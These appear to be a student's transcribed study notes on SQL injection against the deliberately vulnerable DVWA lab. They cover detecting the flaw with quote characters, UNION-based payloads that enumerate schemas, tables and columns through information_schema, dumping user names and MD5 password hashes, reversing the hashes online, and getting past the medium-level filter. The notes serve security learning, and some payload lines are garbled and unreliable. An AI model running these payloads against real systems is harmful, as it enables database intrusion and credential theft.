SQL Injection

* SQLi is a web security vuln.
* Allows attacker to interfere with the queries that app makes to its Db.
* This can allow attacker to view/retrieve data that they don't have access to in normal circumstances.

* Goto DVWA
* keep DVWA sec. Low
* Type 1, 2, ... 5 in the User ID Box & press submit
  o/p is first name & surname of the respective user.

  Note the colms in table
  user_id first_name last_name user password

100$Q Can I fetch user & password also?

* How to detect if a web file exhibits SQLi vuln?

Manually :-
Use a special xter in the input field & see if it generates an error

eg ? < > ! @ ' " ; ,,

You'll a single apostophy generates an error

---- near ''''

Also server version is MySQL

Let us see what has happened

View the source.

Note the query

$getid="SELECT first_name, last_name FROM user where user_id='$id'";

It is expecting to have a 1, 2, ... 5 in place of '$id'

But we placed a '

i.e., ''' & since no validation ⇒ An Error

Similary \ also generates an error

why these two?

' used to denote start & end of a string literal. SQL treats a single ' as start of a new literal which does not have a closing ' ⇒ error

Back slash \
is an escape xter in SQL
Used to escape special xter
eg \' does not generate an error
But alone \ does

ok → Back to DVWA
Now if I want to get username & password the query look like

SELECT ~~user first name~~ user, password
FROM users

Now one query is already there inside the code
I want to use another one
⇒ UNION

I will write second query as
1' UNION SELECT user, password FROM user #'

Here 1' is used to complete first query.
i.e., ... user_id='1''
Second ' on RHS of 1 starts our second query # means comment

So our query Becomes

SELECT first_name, last_name FROM users WHERE user_id = ' '

1' UNION SELECT user, password FROM users #

No of cols doesn't match → error (OR, *)

payload goes here

Use MD5Center to reverse MD5 hash

Note

UNION operator allows to combine two queries. & therefore the result

Both queries
- should retrieve same No of columns
- Each corresponding col must have same data types

Our result shows six records
One is the result of first query
Remaining five are the result of our query.

Now that we know How to use payload.

What if We Don't know about the table schema?

All we know is when I type 1,2,..5 I get back

ID:
First Name:
Surname:

Let us try some payloads

2' and '1'='1 works fine shows first & surnames

2' and '1'='2 No o/p :: and operator results in false

How many cols in Actual Query:—

2' ~~and~~ order by 1 --' note spaces on Both sides of --

2' order by 2 --'

2' order by 3 --' Here we get an error unknown col. 3

from here we come to know we have two columns in the actual query.

Inhāl two columns ?

2' UNION SELECT 1,2 -- '

This gives the two columns
First name : 1
Surname : 2

Extract DB name & user

2' union select database(), user() -- '

This give dvwa & root@localhost as o/p.

Extract all DBs

2' union select schema_name, 2 FROM information_schema.schemata -- '

Here
~~schema_name~~
information_schema is a system DB that contains metadata about all databases in ~~MD~~ MySQL server.

information_schema, schemata

is a table

& schema_name is a col in that table which contains the names of all databases on the server.

2

is used as a place holder to match the no. of cols in the original query. — In the o/p this value is displayed against username

output carries names of all DBs.

like

information_schema
Dvwa
metasploit
mysql
owasp10
tikiwiki
tikiwiki195

} All these a display 1 against first name:

(99)

Extract All tables from Juwa DB

2' union select table_name, 2 from information_schema.tables where table_schema='Juwa' -- '

o/put 2 tables
guestbook
users

Extract All columns from a table

2' union select column_name, column_type from information_schema.columns where table_schema='Juwa' and table_name='users' -- '

o/put name & data type of all columns in the table users.

The information_schema

- A system db in most RDBMS like
  - MySQL
  - PostgreSQL
  - SQL Server

* Provides a set of read only views (tables) that allow users (& apps) to query meta data about db's structure.

* Common views/tables
  - schemata
    - info about the databases (schemas) on the db server
    - columns:
      - schema_name
      - catalog_name

  * tables
    - info about tables in db.
    - columns:
      - table_schema
        i.e., table belongs to which schema
      - table_name
      - table_type
        Base or View

* columns
  - info about columns within tables
  - columns:
    - table_schema — schema table belongs to
    - table_name
    - column_name
    - data_type

Extract all field from a table

a' union select concat(user_id, ':', first_name, ':', last_name), concat(user, ':', password) from dvwa.users --'

- Put we get all data from the table, note passwords are hashed.
  Seem MD5
  Copy a hash
  Goto google.com & paste it there
- click on first link & ask to reverse it
  It comes out to be password.

USING MEDIUM LEVEL

Try running the cmd

2' union select concat(user_id, ':', first_name, ':', last_name), concat(user, ':', password) from dvwa.users --

Make sure to change security level to Medium.

When we try to run this cmd, we'll get an error.

If we observe the error, we'll note that ':' is replaced with ':'

Secondly not all the command is there on error line => some kind of limitation on xter count.

Delete the query from input box 7 check for the source code.

Note the line

$id="---";

Here id field is not enclosed ~~in~~ with ~~do~~ sing quotes.

- That's good news — we can bypass this by eliminating single quotes in our injection as shown

a union select concat(user_id, first_name, last_name), concat(user, password) -d) from users --

Run it — it works!

Q what if I want to select just user & password & not the id first or last name

Sol a union 1, concat(user, password) from dvwa.users --